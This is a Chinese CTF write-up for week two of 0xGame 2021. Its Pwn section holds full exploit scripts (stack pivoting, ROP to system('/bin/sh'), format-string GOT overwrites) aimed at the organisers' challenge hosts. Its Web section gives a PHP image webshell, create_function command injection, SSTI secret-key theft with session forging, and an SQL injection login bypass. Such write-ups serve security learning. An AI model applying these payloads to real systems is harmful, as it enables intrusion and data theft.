2021-0xGame 第二周 WriteUp(AK)
Pwn
1. Where is my stack?!
一个我觉得挺难的栈迁移。
由于直接把栈迁移到bss
段会覆盖之前的stdin/stdout
的IO
指针,所以直接puts
是不行的,但是read
覆盖的内容比较少,不会有什么影响,可以用read
读入数据到更高的bss
段,再转移执行。
但是通过动态调试会发现,回到__start
后,无法push
数据,因为RSP
到了不可写的段,因此还需要将栈抬高,通过0x40128d
处的gadget
(pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
)实现。
之后,在调用system
时,会发现,又遇到了与之前类似的问题,还需要将栈再抬高一次,仿照上述思路即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10005)
pwn = ELF("pwn")
#0x40128d pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
offset = 0x10
bss_addr = 0x4040A0 + offset
bss_addr_new = 0x4040A0 + 0x500
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
read_plt_addr = pwn.plt['read']
read_got_addr = pwn.got['read']
pop_rdi_addr = 0x401293
pop_rsi_addr = 0x401291
ret_addr = 0x40101a
io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)
payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401070)
io.send(payload)
io.recvuntil("something\n")
io.send(b'23333')
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - 0x06f6a0
system_addr = 0x0453a0 + base
bin_sh_addr = 0x18ce17 + base
#one_gadget_addr = base + 0x4527a
io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)
payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)
io.recvuntil("something\n")
io.send(b'23333')
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)
io.send(payload)
io.interactive()
2. N1k0la's_love
格式化字符串漏洞,用fmtstr_payload
直接一把梭。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10006)
num_addr = 0x404058
payload = fmtstr_payload(6 , {num_addr : 1314})
io.sendafter("N1k0la?\n",payload)
io.interactive()
3. stupid repeater
格式化字符串漏洞,修改memset
的got
表指向的地址为后门函数。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10007)
pwn = ELF("pwn")
memset_got_addr = pwn.got['memset']
payload = fmtstr_payload(6 , {memset_got_addr : 0x401197})
io.send(payload)
io.interactive()
4. ezpwn?
一个简单的栈迁移,最后再用一把one_gadget
即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10008)
pwn = ELF("pwn")
offset = 0 #本想抬高迁移地址,防止申请的临时空间覆盖bss段之前的有用数据,结果没用到
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
pop_rdi_addr = 0x4012a3
io.recvuntil("maybe...\n")
payload = b'a'*(offset+8) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401167)
io.send(payload)
io.recvuntil("in ")
bss_addr = offset + int(io.recv(9), 16)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - 0x06f6a0
one_gadget_addr = base + 0x4527a
io.recvuntil("more\n")
payload = b'a'*0x58 + p64(one_gadget_addr)
io.send(payload)
io.interactive()
Web
1. 一个简单的文件上传
对上传的文件后缀过滤了ph
,对其内容过滤了php
,考虑上传图片马,内容用短标签写,如:上传1.png
,内容为<?=system('ls')?>
。
看源代码,发现注释read.php?filename=...
,由于图片马需要文件包含触发执行,所以read.php?filename=/var/www/html/XXX.png
,使用绝对路径包含上传的文件,即可执行上传的代码内容。
由于出题人比较优秀,把flag
藏到了某未知区域,你是直接找不到flag
文件的,故可调用linux
命令,上传图片马<?=system('grep -r "0xGame" /')?>
直接查找flag
的关键字内容即可,最终发现flag
被藏在了环境变量中。
2. find_my_secret
hash_hmac()
的绕过比较简单,如果你将数组传递给中间的参数,php
将生成一个警告,返回一个NULL
并继续执行你的程序。
$_POST['action']('',$_POST['Pupi1'])
考虑action
传入creat_function
函数,Pupi1
再传入}system('cat f*');/*
即可。
create_function('$a','echo $a."123"');
等价于:
function f($a) {
echo $a."123";
}
所以,按如上传入,就成了:
function f() {
}system('cat f*');/*
}
3. 一个简单的登录
运维小哥哥题目出的太好了~
http://159.75.116.195:8083/{{7*7}}
返回49
,即可确定此次有SSTI
模板注入,但是优秀的出题人又一次疯狂过滤了class
等,所以不能直接RCE
...
又由于是在flask
框架下,所以考虑伪造session
绕过admin
验证,对session
的加解密需要key
,http://159.75.116.195:8083/{{config}}
直接可以拿到'SECRET_KEY': 'x1ct34myydsytstflglgjhdfhsh'
,此外,需要注意admin
是uid=1
的用户,抓包改包操作一把就OK了。
4. Come to Inject me
giegie,come to inject me.
太 骚 了
爆破一下,发现过滤了单引号,既然要闭合,那么可以考虑双引号或括号,试一下就知道,这里是双引号。
此外还过滤了空格,这个绕过的方法很多,比如 /**/
或()
。
万能密码:"or/**/1#
或"or(1)#
都行。
Crypto
1. Gandalf's guidance
第四题的一部分,就不单独写了,爆破即可。
2. Calender
据说是签到题,比如Sat2
,就是日历图中第二个星期六的日期所对应的小写英文字母,比如23
号就对应w
,手动一波也就行了。
3. Equation
拿了Z3
解方程(给的数据是随机的),之后再反过来转一下即可,代码如下:
from z3 import *
from Crypto.Util.number import *
x = Solver()
p,q = Ints('p q')
x.add(6887 * p + 6685 * q == 84364148525485105033100559758288341801606479982371604233782851268212776929093825186200569639679379662012853163288875748966226418560567327184386125769109572527243683402932876462430040230601416992800503974050327849168287851048632339372667322130200148797201510568566758637230782487307207951623927975703680168351662572365585655137363074805075497369721586216852359062655097098906411486397461633420175046434099542605504424759954509872)
x.add(p * q == 38638237231070703348591503984087157139855999723629100227991326861043320246507239948950780720812381270469550027894783071807368558851655126398884682687518489798378148842318257875074075434046534385014497892976879173543079489750705991701423415528881216135288807363846319538330504878296472459184137908223291582389028806770804423108109796415280755356243360284992180099557497994337960255608612095136751322849326778216179565749327748051508725926140544644707248428323922473683703174595429973350564186349290698433708332719940114864248715025499639381768192961738970331180668590561712758335567869395985007039585965183556180717333332316121469477430884469188279519433903934792555750802606151282510726130416494678418608554970951250829893808042084783421187277222005273724835295215512261532808816046425626189632800931916254203840824650212605048530164426181661785069)
x.check()
print(x.model())
print(long_to_bytes(125161236316403271164016787891594217047442759526495952066528516225311605327528804157984524799577329854265429162648826093949),end="")
4. CN NO.1
中国剩余定理,RSA
广播攻击了解一下。
代码如下:
from pwn import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from hashlib import sha256
io = remote("47.101.38.213", 60712)
io.recvuntil("XXXX+")
tail = str(io.recv(8),'utf-8')
io.recvuntil("== ")
res = str(io.recv(63),'utf-8')
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
io.recvuntil("XXXX :")
for i in table:
for j in table:
for k in table:
for t in table:
if sha256((i + j + k + t + tail).encode()).hexdigest() == res:
kkk = i + j + k + t
io.send(kkk.encode(encoding="utf-8"))
exit(0)
e = 3
n1 = int(io.recvline()[3:])
c1 = int(io.recvline()[3:])
n2 = int(io.recvline()[3:])
c2 = int(io.recvline()[3:])
n3 = int(io.recvline()[3:])
c3 = int(io.recvline()[3:])
N = [n1 , n2 , n3]
C = [c1 , c2 , c3]
result, mod = crt(N, C)
ans, type = iroot(result, e)
ans = str(ans)
io.send(ans.encode(encoding="utf-8"))
io.interactive()
Reverse
1. Despacito
DES
解密,密钥拿IDA
直接能看到。
得到明文之后,再转一下md5
即可。
from Crypto.Cipher import DES
import hashlib
key = b'0xgame21'
des = DES.new(key, DES.MODE_ECB)
f = open('DES.txt', 'rb')
encrypted_text = f.read()
plain_text = des.decrypt(encrypted_text).decode().rstrip(' ')
print(plain_text)
m = hashlib.md5()
m.update(plain_text.encode("utf-8"))
print("0xGame{",m.hexdigest(),"}",sep="")
2. Secret Base
一个换了表的base64
,解密脚本如下:
#include<bits/stdc++.h>
using namespace std;
char data[] = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyz0ABCi56789+/";
char secret[65] = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5Hm05HVlREnoAhaF0Hn2dFBQVFC0=";
char plain[45];
int GetIndex(char c)
{
int i=0;
for(i=0; i<strlen(data); i++)
{
if(data[i] == c)
{
return i;
}
}
return -1;
}
void Decode(char *str,char *result)
{
int len = strlen(str);
int i = 0;
int cnt = 0;
int arr[4];
int temp;
for(i=0; i<len; i+=4)
{
arr[0] = GetIndex(str[i]);
arr[1] = GetIndex(str[i+1]);
if(str[i+2] == '=')
break;
arr[2] = GetIndex(str[i+2]);
if(str[i+3] == '=')
break;
arr[3] = GetIndex(str[i+3]);
temp = (arr[0]<<2) | (arr[1]>>4);
result[cnt++] = temp;
temp = (arr[1]&0x0f);
temp = temp << 4;
temp = temp | (arr[2]>>2);
result[cnt++] = temp;
temp = arr[2]&0x03;
temp = temp << 6;
temp = temp | (arr[3]&0x3f);
result[cnt++] = temp;
}
if(str[i+2] == '=')
{
temp = (arr[0]<<2) | (arr[1]>>4);
result[cnt++] = temp;
temp = arr[1]&0x0f;
temp = temp<<4;
}
else if(str[i+3] == '=')
{
temp = (arr[0]<<2) | (arr[1]>>4);
result[cnt++] = temp;
temp = arr[1]&0x0f;
temp = temp<<4;
temp = temp | (arr[2]>>2);
result[cnt++] = temp;
}
result[cnt] = '\0';
}
int main()
{
Decode(secret, plain);
cout<<plain<<endl;
return 0;
}
Misc
1. ENCODE
先用新约佛论禅解密,再把中文换成Ook
,拿Ook
解密,最后再拿Script Decoder
解密vbs
脚本即可。
2. EasyAlpha
图片分离,用Stegsolve
直接一把梭。
3. Hamburger Souls
用16
进制编辑器,如010
打开,直接搜索0xGame
即可拿到flag
。
4. dlohesuoHesaB
观察到题目名,附件名,如果倒过来就是正常的英文单词或组合。
所以,将附件内容全倒过来,然后再用Base
家族解密。
解密流程:Base85 -> Base58 -> Base85 -> Base32 -> Base64 -> Base58 -> Base85 -> Base32 -> Base62 -> Base58 -> Base64 -> Base85 -> Base64 -> Base62 -> Base58 -> Base32
,一共16
层。
5. EasyPcap
扫描网络的操作是ping
,其对应的Destination
的IP
是185.199.108.153
,故以185.199.108.153
为明文,ping
为密码,进行3DES
加密,并以16
进制的形式输出密文即可。
0xGame{ec6d199865663767741e27953653206e}